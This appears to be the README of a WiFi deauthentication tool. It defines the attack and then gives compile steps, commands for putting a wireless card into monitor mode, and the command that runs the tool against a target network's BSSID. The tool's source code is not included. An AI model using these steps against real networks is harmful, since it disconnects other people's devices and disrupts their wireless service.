What is deauthentication?
A WiFi deauthentication attack is an exploit where an attacker broadcasts a message to an access point to disconnect/disassociate itself from configured devices on the network, dropping the connection of said devices.
How to use
Compile
$ g++ wifi-deauther.cpp -o wifi-deauther
Monitor Mode
You must have a wireless device with monitor mode capabilities otherwise this attack will not work!!!
Method 1:
Using the linux commands ifconfig and iwconfig you can put the device into monitor mode like this:
$ ifconfig <device name> down
$ iwconfig <device name> mode monitor
$ ifconfig <device name> up
Example $ ifconfig wlan0 down
Example $ iwconfig wlan0 mode monitor
Example $ ifconfig wlan0 up
Method 2:
If you have the aircrack-ng suite installed, you can put the device into monitor mode like this:
$ airmon-ng start <device name>
Example $ airmon-ng start wlan0
Run
$ ./wifi-deauther <DEVICE NAME> <NETWORK BSSID>
Example $ ./wifi-deauther wlan0mon 12:34:56:AB:CD:EF # You can find a networks BSSID/MAC Address using airodump-ng or the iw suite of tools
